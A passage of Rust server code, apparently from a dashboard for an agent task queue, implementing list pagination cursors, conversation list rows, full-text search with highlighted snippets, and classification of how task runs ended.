5377            .find(|walk| walk.token == token && walk.talks == talks)
5378            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5379        (token, walk.ids.clone(), offset, walk.initial_end)
5380    } else {
5381        // Header I/O must not hold the snapshot registry shared with queue
5382        // pagination or with clients continuing an existing history walk.
5383        drop(walks);
5384        let root = if talks {
5385            ui.talks.root()
5386        } else {
5387            ui.queue.root()
5388        };
5389        let mut ids = crate::queue::record_ids(root, "json")?;
5390        ids.sort_unstable_by(|a, b| b.cmp(a));
5391        let initial_end = if talks {
5392            let open = classify(ui, &ids);
5393            // Stable partition: ID order is only the existing membership order,
5394            // never a substitute for the UI's creation-time ordering.
5395            ids.sort_by_key(|id| !open.contains(id));
5396            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5397        } else {
5398            STORE_PAGE_SIZE.min(ids.len())
5399        };
5400        let ids = Arc::new(ids);
5401        walks = ui
5402            .monitor
5403            .list_walks
5404            .lock()
5405            .unwrap_or_else(PoisonError::into_inner);
5406        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5407        let mut token = crate::rng::entropy();
5408        while walks.iter().any(|walk| walk.token == token) {
5409            token = crate::rng::entropy();
5410        }
5411        // Four clients can enumerate both stores and overlap a refresh. Bound
5412        // retained membership snapshots; an evicted cursor explicitly retries.
5413        if walks.len() >= 16 {
5414            walks.remove(0);
5415        }
5416        walks.push(ListWalk {
5417            token,
5418            talks,
5419            opened: std::time::Instant::now(),
5420            ids: ids.clone(),
5421            initial_end,
5422        });
5423        (token, ids, 0, initial_end)
5424    };
5425    if offset > ids.len() {
5426        return Err(ApiError::bad_request("Invalid list cursor"));
5427    }
5428    let end = if offset == 0 {
5429        initial_end
5430    } else {
5431        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5432    };
5433    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5434    Ok((ids[offset..end].to_vec(), next))
5435}
5436
5437async fn queue_page(
5438    State(ui): State<Arc<Ui>>,
5439    Query(q): Query<PageQuery>,
5440) -> ApiResult<Json<StorePage<TaskView>>> {
5441    blocking(move || {
5442        let (ids, next) = page_ids(&ui, false, q)?;
5443        let tasks: Vec<_> = ids
5444            .into_iter()
5445            .filter_map(|id| ui.queue.get(&id).ok())
5446            .collect();
5447        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5448        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5449        let rows = tasks
5450            .into_iter()
5451            .map(|task| {
5452                TaskView::with_inventory(task, &inv).with_admission(
5453                    &admission,
5454                    &ui.queue,
5455                    Some(&inv),
5456                    &ui.home,
5457                )
5458            })
5459            .collect();
5460        Ok(Json(StorePage { rows, next }))
5461    })
5462    .await
5463}
5464
5465/// Fixed-size wire projection. Agent timestamps stay in the server index so
5466/// exact unread counts do not require sending an ever-growing turn list.
5467#[derive(Debug, Clone, Serialize)]
5468struct TalkListView {
5469    title: Option<talk::ChatTitle>,
5470    id: String,
5471    repo: PathBuf,
5472    agent: String,
5473    status: talk::TalkStatus,
5474    turns: Vec<TalkListTurn>,
5475    turn_count: usize,
5476    unread_count: usize,
5477    context: talk::ContextUsage,
5478    #[serde(skip)]
5479    agent_times: Vec<Timestamp>,
5480    thinking: bool,
5481    created_at: Timestamp,
5482    updated_at: Timestamp,
5483}
5484
5485#[derive(Debug, Clone, Serialize)]
5486struct TalkListTurn {
5487    who: talk::Who,
5488    at: Timestamp,
5489    body: String,
5490}
5491
5492fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5493    let reads: HashMap<String, Timestamp> = headers
5494        .get("x-talk-reads")
5495        .and_then(|v| v.to_str().ok())
5496        .and_then(|v| serde_json::from_str(v).ok())
5497        .unwrap_or_default();
5498    let mut index = ui
5499        .monitor
5500        .talk_index
5501        .lock()
5502        .unwrap_or_else(PoisonError::into_inner);
5503    // Bound memory independently of the number of conversations ever opened.
5504    if index.len() > 1000 {
5505        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5506        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5507        if index.len() > 1000 {
5508            index.retain(|id, _| keep.contains(id.as_str()));
5509        }
5510    }
5511    ids.into_iter()
5512        .filter_map(|id| {
5513            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5514            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5515                let talk = ui.talks.get(&id).ok()?;
5516                #[cfg(test)]
5517                ui.monitor
5518                    .talk_parses
5519                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5520                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5521                let last = talk.turns.len().checked_sub(1);
5522                let turns = talk
5523                    .turns
5524                    .iter()
5525                    .enumerate()
5526                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5527                    .map(|(_, t)| TalkListTurn {
5528                        who: t.who,
5529                        at: t.at,
5530                        body: t
5531                            .body
5532                            .lines()
5533                            .next()
5534                            .unwrap_or_default()
5535                            .chars()
5536                            .take(240)
5537                            .collect(),
5538                    })
5539                    .collect();
5540                let row = TalkListView {
5541                    title: talk.title.clone(),
5542                    agent_times: talk
5543                        .turns
5544                        .iter()
5545                        .filter(|t| t.who == talk::Who::Agent)
5546                        .map(|t| t.at)
5547                        .collect(),
5548                    turn_count: talk.turns.len(),
5549                    unread_count: 0,
5550                    context: talk::context_usage(&talk, None),
5551                    turns,
5552                    thinking: false,
5553                    id: talk.id,
5554                    repo: talk.repo,
5555                    agent: talk.agent,
5556                    status: talk.status,
5557                    created_at: talk.created_at,
5558                    updated_at: talk.updated_at,
5559                };
5560                index.insert(id.clone(), (identity, row));
5561            }
5562            let row = &index.get(&id)?.1;
5563            let mut row = TalkListView {
5564                title: row.title.clone(),
5565                unread_count: row
5566                    .agent_times
5567                    .iter()
5568                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5569                    .count(),
5570                agent_times: Vec::new(),
5571                id: row.id.clone(),
5572                repo: row.repo.clone(),
5573                agent: row.agent.clone(),
5574                status: row.status,
5575                context: row.context.clone(),
5576                turns: row.turns.clone(),
5577                turn_count: row.turn_count,
5578                thinking: false,
5579                created_at: row.created_at,
5580                updated_at: row.updated_at,
5581            };
5582            row.thinking = ui.is_thinking(&id);
5583            Some(row)
5584        })
5585        .collect()
5586}
5587
5588async fn talks_page(
5589    State(ui): State<Arc<Ui>>,
5590    Query(q): Query<PageQuery>,
5591    headers: header::HeaderMap,
5592) -> ApiResult<Json<StorePage<TalkListView>>> {
5593    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5594        let (ids, next) = page_ids(&ui, true, q)?;
5595        Ok(Json(StorePage {
5596            rows: talk_rows(&ui, ids, &headers),
5597            next,
5598        }))
5599    })
5600    .await
5601}
5602
5603async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5604    blocking(move || {
5605        let tasks = ui.indexed_tasks()?;
5606        Ok(Json(TaskCountsView::from(
5607            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5608        )))
5609    })
5610    .await
5611}
5612
5613/// Most hits one search returns. The rest are counted in `total`.
5614const SEARCH_MAX_HITS: usize = 100;
5615/// Longest query, in characters, and most terms it is split into.
5616const SEARCH_MAX_QUERY: usize = 200;
5617const SEARCH_MAX_TERMS: usize = 8;
5618/// Characters of context kept before the first hit, and after it.
5619const SNIPPET_BEFORE: usize = 50;
5620const SNIPPET_AFTER: usize = 110;
5621
5622/// `?scope=runs|tasks&q=...`
5623#[derive(Debug, Deserialize)]
5624struct SearchQuery {
5625    #[serde(default)]
5626    scope: String,
5627    #[serde(default)]
5628    q: String,
5629}
5630
5631/// One piece of a snippet. `hit` pieces are what matched; the client renders
5632/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5633#[derive(Debug, Serialize, PartialEq, Eq)]
5634struct SnippetPart {
5635    text: String,
5636    hit: bool,
5637}
5638
5639/// Position plus transcript evidence, without changing the saved chat schema.
5640#[derive(Debug, Serialize)]
5641struct ChatSearchTarget {
5642    turn: usize,
5643    message: usize,
5644    at: String,
5645    text: String,
5646}
5647
5648fn chat_text_key(body: &str) -> String {
5649    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5650        (hash ^ u32::from(c)).wrapping_mul(16777619)
5651    });
5652    format!("{hash:08x}:{}", body.chars().count())
5653}
5654
5655#[derive(Debug, Serialize)]
5656struct SearchHit {
5657    #[serde(skip_serializing_if = "Option::is_none")]
5658    target: Option<ChatSearchTarget>,
5659    id: String,
5660    /// The name of the field the snippet was cut from.
5661    field: String,
5662    snippet: Vec<SnippetPart>,
5663    /// The run's list row, so the page can apply its state / section / repo
5664    /// filters to a hit outside the loaded window. Absent for tasks and for a
5665    /// run record the list view cannot read.
5666    #[serde(skip_serializing_if = "Option::is_none")]
5667    run: Option<RunSummary>,
5668}
5669
5670#[derive(Debug, Serialize)]
5671struct SearchView {
5672    scope: String,
5673    q: String,
5674    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5675    hits: Vec<SearchHit>,
5676    /// Every match, hits beyond the cap included.
5677    total: usize,
5678    truncated: bool,
5679    /// Runs whose `run.json` could not be parsed at all. They were not
5680    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5681    unreadable: usize,
5682}
5683
5684/// The text leaves of a JSON document, with the name of the field each sits
5685/// under. Keys and numbers are skipped: they are structure, not prose.
5686fn text_leaves<'a>(
5687    value: &'a serde_json::Value,
5688    field: &'a str,
5689    out: &mut Vec<(&'a str, &'a str)>,
5690) {
5691    match value {
5692        serde_json::Value::String(s) => out.push((field, s)),
5693        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5694        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5695        _ => {}
5696    }
5697}
5698
5699/// Lower-case one character without changing how many there are, so indices
5700/// in the lowered text are indices in the original.
5701fn fold_char(c: char) -> char {
5702    c.to_lowercase().next().unwrap_or(c)
5703}
5704
5705/// Split a query into its lower-cased terms.
5706fn search_terms(q: &str) -> Vec<String> {
5707    let mut terms: Vec<String> = Vec::new();
5708    for t in q.split_whitespace() {
5709        let t = t.to_lowercase();
5710        if !terms.contains(&t) {
5711            terms.push(t);
5712        }
5713    }
5714    terms
5715}
5716
5717/// Match `terms` (all of them, anywhere in the document) against the leaves
5718/// and cut a snippet around the first hit. `None` when a term is missing.
5719fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5720    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5721    let mut first: Option<usize> = None;
5722    for term in terms {
5723        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5724        first = Some(first.map_or(at, |f| f.min(at)));
5725    }
5726    // The leaf holding the earliest hit of any term is where the snippet is cut.
5727    let (field, text) = leaves[first?];
5728    Some(SearchHit {
5729        id: String::new(),
5730        target: None,
5731        field: field.to_owned(),
5732        snippet: snippet_of(text, terms),
5733        run: None,
5734    })
5735}
5736
5737/// A window of `text` around the first occurrence of any term, whitespace
5738/// collapsed, with every term occurrence inside the window marked.
5739fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5740    let chars: Vec<char> = text.chars().collect();
5741    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5742    let needles: Vec<Vec<char>> = terms
5743        .iter()
5744        .map(|t| t.chars().map(fold_char).collect())
5745        .collect();
5746    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5747        let mut best: Option<(usize, usize)> = None;
5748        for n in needles.iter().filter(|n| !n.is_empty()) {
5749            // `to` bounds where a match may start; it may run past `to` (the
5750            // caller clips what it shows). A term longer than the field cannot
5751            // occur in it (it may live in another leaf of the document).
5752            if n.len() > chars.len() || to == 0 {
5753                continue;
5754            }
5755            let last = (to - 1).min(chars.len() - n.len());
5756            if from > last {
5757                continue;
5758            }
5759            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5760                && best.is_none_or(|(b, _)| i < b)
5761            {
5762                best = Some((i, i + n.len()));
5763            }
5764        }
5765        best
5766    };
5767    let Some((start, _)) = find(0, chars.len()) else {
5768        // Matched only through a case mapping that changes length: show the head.
5769        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5770        return vec![SnippetPart {
5771            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5772            hit: false,
5773        }];
5774    };
5775    let lo = start.saturating_sub(SNIPPET_BEFORE);
5776    let hi = (start + SNIPPET_AFTER).min(chars.len());
5777    let mut parts: Vec<SnippetPart> = Vec::new();
5778    let mut push = |s: &[char], hit: bool| {
5779        if s.is_empty() {
5780            return;
5781        }
5782        let text: String = s.iter().collect();
5783        match parts.last_mut() {
5784            Some(p) if p.hit == hit => p.text.push_str(&text),
5785            _ => parts.push(SnippetPart { text, hit }),
5786        }
5787    };
5788    if lo > 0 {
5789        push(&['\u{2026}'], false);
5790    }
5791    let mut at = lo;
5792    while at < hi {
5793        match find(at, hi) {
5794            Some((s, e)) => {
5795                push(&chars[at..s], false);
5796                // A match running past the window is shown up to its edge.
5797                let shown = e.min(hi);
5798                push(&chars[s..shown], true);
5799                at = shown;
5800            }
5801            None => {
5802                push(&chars[at..hi], false);
5803                at = hi;
5804            }
5805        }
5806    }
5807    if hi < chars.len() {
5808        push(&['\u{2026}'], false);
5809    }
5810    // Collapse whitespace (newlines in an instruction) without disturbing the
5811    // hit boundaries.
5812    let mut prev_space = false;
5813    for p in &mut parts {
5814        let mut out = String::with_capacity(p.text.len());
5815        for c in p.text.chars() {
5816            if c.is_whitespace() {
5817                if !prev_space {
5818                    out.push(' ');
5819                }
5820                prev_space = true;
5821            } else {
5822                out.push(c);
5823                prev_space = false;
5824            }
5825        }
5826        p.text = out;
5827    }
5828    parts.retain(|p| !p.text.is_empty());
5829    parts
5830}
5831
5832/// The search over `docs` (id, document), newest first, capped.
5833fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5834where
5835    I: IntoIterator<Item = (String, serde_json::Value)>,
5836{
5837    for (id, doc) in docs {
5838        let mut leaves = Vec::new();
5839        // The id is text an operator types too, and it is a map key on disk,
5840        // not a leaf.
5841        leaves.push(("id", id.as_str()));
5842        text_leaves(&doc, "", &mut leaves);
5843        if let Some(mut hit) = search_document(terms, &leaves) {
5844            view.total += 1;
5845            if view.hits.len() < SEARCH_MAX_HITS {
5846                hit.id = id;
5847                view.hits.push(hit);
5848            }
5849        }
5850    }
5851    view.truncated = view.total > view.hits.len();
5852}
5853
5854/// What a conversation is searched by: its list title and each turn's text,
5855/// under their sender labels so the snippet says who spoke. Nothing else
5856/// (session ids, repo paths, usage, drafts) is part of the document.
5857///
5858/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5859fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5860    let opener = talk
5861        .title
5862        .as_ref()
5863        .filter(|t| !t.text.is_empty())
5864        .map(|t| t.text.as_str())
5865        .or_else(|| {
5866            talk.turns
5867                .iter()
5868                .find(|t| t.who == talk::Who::Operator)
5869                .map(|t| t.body.as_str())
5870        })
5871        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5872        .unwrap_or("");
5873    let title: String = if opener.chars().count() > 96 {
5874        opener.chars().take(95).chain(['\u{2026}']).collect()
5875    } else {
5876        opener.to_owned()
5877    };
5878    let turns: Vec<serde_json::Value> = talk
5879        .turns
5880        .iter()
5881        .flat_map(|t| {
5882            let label = |message| match talk::sender(t, message) {
5883                talk::Sender::External => "external",
5884                _ => match t.who {
5885                    talk::Who::Operator => "operator",
5886                    talk::Who::Agent => "agent",
5887                },
5888            };
5889            if t.messages.is_empty() {
5890                vec![serde_json::json!({ label(None): t.body })]
5891            } else {
5892                t.messages
5893                    .iter()
5894                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
5895                    .collect()
5896            }
5897        })
5898        .collect();
5899    serde_json::json!({ "title": title, "turns": turns })
5900}
5901
5902fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5903    let doc = talk_search_doc(talk);
5904    let mut leaves = vec![("id", talk.id.as_str())];
5905    text_leaves(&doc, "", &mut leaves);
5906    let mut hit = search_document(terms, &leaves)?;
5907    // Use exactly the leaf that supplied the snippet, including title/id hits.
5908    let leaf = leaves
5909        .iter()
5910        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5911    let messages: Vec<_> = talk
5912        .turns
5913        .iter()
5914        .enumerate()
5915        .flat_map(|(i, turn)| {
5916            let bodies: Vec<&str> = if turn.messages.is_empty() {
5917                vec![turn.body.as_str()]
5918            } else {
5919                turn.messages.iter().map(|m| m.body.as_str()).collect()
5920            };
5921            bodies
5922                .into_iter()
5923                .enumerate()
5924                .map(move |(j, body)| (i, j, turn, body))
5925        })
5926        .collect();
5927    let target = leaf
5928        .checked_sub(2)
5929        .and_then(|i| messages.get(i))
5930        .or_else(|| {
5931            // An unsaved title is the opener's first nonempty line, so its
5932            // snippet still identifies a transcript message. Saved titles do not.
5933            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5934                return None;
5935            }
5936            let (index, opener) = talk
5937                .turns
5938                .iter()
5939                .enumerate()
5940                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5941            let line = opener
5942                .body
5943                .lines()
5944                .map(str::trim)
5945                .find(|line| !line.is_empty())?;
5946            messages.iter().find(|(i, _, _, body)| {
5947                *i == index
5948                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5949            })
5950        });
5951    if let Some((i, j, turn, body)) = target {
5952        hit.target = Some(ChatSearchTarget {
5953            turn: *i,
5954            message: *j,
5955            at: turn.at.to_string(),
5956            text: chat_text_key(body),
5957        });
5958    }
5959    hit.id = talk.id.clone();
5960    Some(hit)
5961}
5962
5963/// Read-only full-text search over every run's `run.json`, every task or every
5964/// conversation (title and transcript).
5965///
5966/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5967/// record from an older schema still searches; only a file that is not JSON
5968/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5969async fn search_get(
5970    State(ui): State<Arc<Ui>>,
5971    Query(q): Query<SearchQuery>,
5972) -> ApiResult<Json<SearchView>> {
5973    let query = q.q.trim().to_owned();
5974    if query.is_empty() {
5975        return Err(ApiError::bad_request("q must not be empty"));
5976    }
5977    if query.chars().count() > SEARCH_MAX_QUERY {
5978        return Err(ApiError::bad_request(format!(
5979            "q is longer than {SEARCH_MAX_QUERY} characters"
5980        )));
5981    }
5982    let terms = search_terms(&query);
5983    if terms.len() > SEARCH_MAX_TERMS {
5984        return Err(ApiError::bad_request(format!(
5985            "q has more than {SEARCH_MAX_TERMS} terms"
5986        )));
5987    }
5988    let scope = q.scope;
5989    if scope != "runs" && scope != "tasks" && scope != "chats" {
5990        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5991    }
5992    blocking(move || {
5993        let mut view = SearchView {
5994            scope: scope.clone(),
5995            q: query,
5996            hits: Vec::new(),
5997            total: 0,
5998            truncated: false,
5999            unreadable: 0,
6000        };
6001        if scope == "runs" {
6002            let mut unreadable = 0;
6003            // One run.json is read, matched and dropped at a time; nothing
6004            // holds the whole history. The scan runs to the end even past the
6005            // hit cap so `total` and `unreadable` stay exact.
6006            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6007                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6008                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6009                    Some(v) => Some((id, v)),
6010                    None => {
6011                        unreadable += 1;
6012                        None
6013                    }
6014                }
6015            });
6016            search_docs(&terms, docs, &mut view);
6017            view.unreadable = unreadable;
6018            // Only the capped hits get a row: the filters need a run's state,
6019            // and reading every match would be the whole history again.
6020            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6021            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6022            for hit in &mut view.hits {
6023                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6024                    hit.run = summarize(
6025                        [state],
6026                        &open_runs,
6027                        &claimed,
6028                        &superseded,
6029                        |p| probe.borrow_mut().status(p),
6030                        |p| probe.borrow_mut().started_at(p),
6031                    )
6032                    .pop();
6033                }
6034            }
6035        } else if scope == "chats" {
6036            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6037            view.unreadable = unreadable;
6038            for talk in &talks {
6039                if let Some(hit) = search_chat(&terms, talk) {
6040                    view.total += 1;
6041                    if view.hits.len() < SEARCH_MAX_HITS {
6042                        view.hits.push(hit);
6043                    }
6044                }
6045            }
6046            view.truncated = view.total > view.hits.len();
6047        } else {
6048            let docs = ui.queue.list().into_iter().filter_map(|t| {
6049                let mut v = serde_json::to_value(&t).ok()?;
6050                // `source` serialises as a tagged object; the label is what
6051                // the operator reads ("human", "chat@a1b2").
6052                if let Some(o) = v.as_object_mut() {
6053                    o.insert("filed_by".to_owned(), t.source.label().into());
6054                }
6055                Some((t.id, v))
6056            });
6057            search_docs(&terms, docs, &mut view);
6058        }
6059        Ok(Json(view))
6060    })
6061    .await
6062}
6063
6064/// One attempt in a task's history, as the task page lists it.
6065#[derive(Debug, Serialize)]
6066struct TaskRunView {
6067    activity: Option<String>,
6068    /// 1-based position in [`Task::runs`].
6069    n: usize,
6070    id: String,
6071    short: String,
6072    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6073    kind: &'static str,
6074    /// The run's own status string; `None` when its record cannot be read.
6075    status: Option<&'static str>,
6076    /// Whether this build could read the run's record. Counted, never hidden.
6077    readable: bool,
6078    /// A verdict from a collapsed panel is provisional, never a decision.
6079    provisional: bool,
6080    /// What kind of attempt this was, in one line.
6081    description: String,
6082    /// How it ended and why the task moved on (or what it is doing now).
6083    outcome: String,
6084    created_at: Option<Timestamp>,
6085    pr: Option<String>,
6086    /// Why this pass ended, classified once; the flowchart is built from it.
6087    exit: RunExit,
6088    /// What the pass did to the task's attempt budget.
6089    attempt: AttemptCost,
6090    /// Edge wording for leaving this entry; names the recorded cause when
6091    /// there is one.
6092    exit_label: String,
6093    /// The position of a later entry for the same run: this entry is an
6094    /// earlier pass of it.
6095    later_pass: Option<usize>,
6096    /// Which pass over the run this entry is (1-based) and how many entries
6097    /// the task lists for the run. Counted from the list, so known even for
6098    /// a legacy record.
6099    pass_n: usize,
6100    passes_of_run: usize,
6101    /// What the run recorded about this pass; `None` for a record from before
6102    /// passes were kept, whose cause stays unknown.
6103    pass: Option<PassView>,
6104    /// The branch a review-only run reopened.
6105    branch: Option<String>,
6106    /// The badge word when it differs from `status` (`stale` / `superseded`);
6107    /// filled by the task route, which can see liveness and later attempts.
6108    badge: Option<String>,
6109}
6110
6111/// One recorded pass over a run, for the wire.
6112#[derive(Debug, Clone, PartialEq, Serialize)]
6113struct PassView {
6114    index: usize,
6115    resumed: bool,
6116    started_at: Timestamp,
6117    ended_at: Option<Timestamp>,
6118    /// `open`, `parked` or `unrecorded`.
6119    end: &'static str,
6120    cause: Option<crate::run::ParkCause>,
6121    /// One line: why it stopped, or that nobody recorded why.
6122    label: String,
6123    /// What the task recorded for this pass; `None` when it was not settled
6124    /// (or settled by a build that kept no record).
6125    cost: Option<crate::queue::PassCost>,
6126}
6127
6128impl PassView {
6129    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6130        use crate::run::PassEnd;
6131        let (end, cause, label) = match &p.end {
6132            None => ("open", None, "still open".to_owned()),
6133            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6134            Some(PassEnd::Unrecorded) => (
6135                "unrecorded",
6136                None,
6137                "stopped without recording why (a crash, a kill or a restart; not known)"
6138                    .to_owned(),
6139            ),
6140        };
6141        Self {
6142            index: p.index,
6143            resumed: p.resumed,
6144            started_at: p.started_at,
6145            ended_at: p.ended_at,
6146            end,
6147            cause,
6148            label,
6149            cost: settled.map(|t| t.cost),
6150        }
6151    }
6152}
6153
6154/// How one pass over a run ended, as far as the task's life is concerned.
6155#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6156#[serde(rename_all = "snake_case")]
6157enum RunExit {
6158    Unreadable,
6159    /// An earlier pass of a run id that appears again: it stopped short.
6160    Interrupted,
6161    Parked,
6162    MachineBlocked,
6163    QuotaStall,
6164    /// Stalled on a resumed pass with quota losses on record: they may be
6165    /// left over from an earlier pass, so whether this one was refunded is
6166    /// not knowable.
6167    ResumedQuotaStall,
6168    Merged,
6169    Ready,
6170    Superseded,
6171    /// The change was already on the base under other commits: the task
6172    /// finished without this run landing anything.
6173    AlreadyInBase,
6174    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6175    Stalled,
6176    /// Blocked / no-op with a pull request left open: held for a person.
6177    HeldWithPr,
6178    NoopHeld,
6179    /// Blocked or failed: the attempt is spent and the task retries or holds.
6180    Spent,
6181    InProgress,
6182}
6183
6184#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6185#[serde(rename_all = "snake_case")]
6186enum AttemptCost {
6187    Spent,
6188    Refunded,
6189    None,
6190    /// Cannot be told from the records that remain.
6191    Unknown,
6192}
6193
6194impl RunExit {
6195    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6196        let Some(s) = s else {
6197            return Self::Unreadable;
6198        };
6199        let status = s.status;
6200        if resumed_later {
6201            Self::Interrupted
6202        } else if s.parked {
6203            Self::Parked
6204        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6205            Self::MachineBlocked
6206        } else if !status.done() {
6207            Self::InProgress
6208        } else if matches!(status, RunStatus::Merged) {
6209            Self::Merged
6210        } else if matches!(status, RunStatus::Ready) {
6211            Self::Ready
6212        } else if matches!(status, RunStatus::Superseded) {
6213            Self::Superseded
6214        } else if matches!(status, RunStatus::AlreadyInBase) {
6215            Self::AlreadyInBase
6216        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6217            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6218        {
6219            if resumed {
6220                Self::ResumedQuotaStall
6221            } else {
6222                Self::QuotaStall
6223            }
6224        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6225            Self::HeldWithPr
6226        } else if matches!(status, RunStatus::VerifiedNoop) {
6227            Self::NoopHeld
6228        } else if matches!(status, RunStatus::Stalled) {
6229            Self::Stalled
6230        } else {
6231            Self::Spent
6232        }
6233    }
6234
6235    fn cost(self) -> AttemptCost {
6236        match self {
6237            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6238            Self::Merged
6239            | Self::Ready
6240            | Self::Stalled
6241            | Self::HeldWithPr
6242            | Self::NoopHeld
6243            | Self::Spent => AttemptCost::Spent,
6244            Self::InProgress => AttemptCost::None,
6245            Self::AlreadyInBase => AttemptCost::Refunded,
6246            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6247                AttemptCost::Unknown
6248            }
6249        }
6250    }
6251
6252    /// Short edge wording for leaving a run this way.
6253    fn edge_label(self, status: Option<&str>) -> String {
6254        match self {
6255            Self::Unreadable => "record unreadable".to_owned(),
6256            Self::Interrupted => "interrupted before the run finished".to_owned(),
6257            Self::Parked => "parked, attempt refunded".to_owned(),
6258            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6259            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6260            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6261            Self::Merged => "merged".to_owned(),
6262            Self::Ready => "ready, not merged".to_owned(),
6263            Self::Superseded => "superseded by a later attempt".to_owned(),
6264            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6265            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6266            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6267            Self::NoopHeld => "verified no-op".to_owned(),
6268            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6269            Self::InProgress => "in progress".to_owned(),
6270        }
6271    }
6272
6273    /// Does a task in `end` follow from a run that ended this way? When not,
6274    /// somebody closed or held the task by hand.
6275    fn explains(self, end: TaskStatus) -> bool {
6276        match self {
6277            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6278            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6279            Self::Unreadable | Self::Superseded | Self::Ready => true,
6280            _ => end != TaskStatus::Done,
6281        }
6282    }
6283}
6284
6285/// `GET /api/queue/{id}` - one task with every attempt it went through.
6286#[derive(Debug, Serialize)]
6287struct TaskDetailView {
6288    #[serde(flatten)]
6289    task: TaskView,
6290    /// Task override, or the default daemon budget when inherited.
6291    /// A separate loop's command-line limit is not visible from here.
6292    max_attempts: usize,
6293    history: Vec<TaskRunView>,
6294    /// Entries in `history`: passes over runs, not distinct runs and not
6295    /// attempts consumed (`task.attempts`).
6296    passes_total: usize,
6297    /// Distinct runs those passes belong to.
6298    runs_distinct: usize,
6299    flow: FlowView,
6300    /// Set for a follow-up task; see [`followup_origin`].
6301    followup_origin: Option<FollowUpOrigin>,
6302    /// How many entries of `history` could not be read.
6303    runs_unreadable: usize,
6304    /// Why the attempt count can be lower than the number of runs.
6305    attempts_note: &'static str,
6306}
6307
6308const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6309and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6310on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
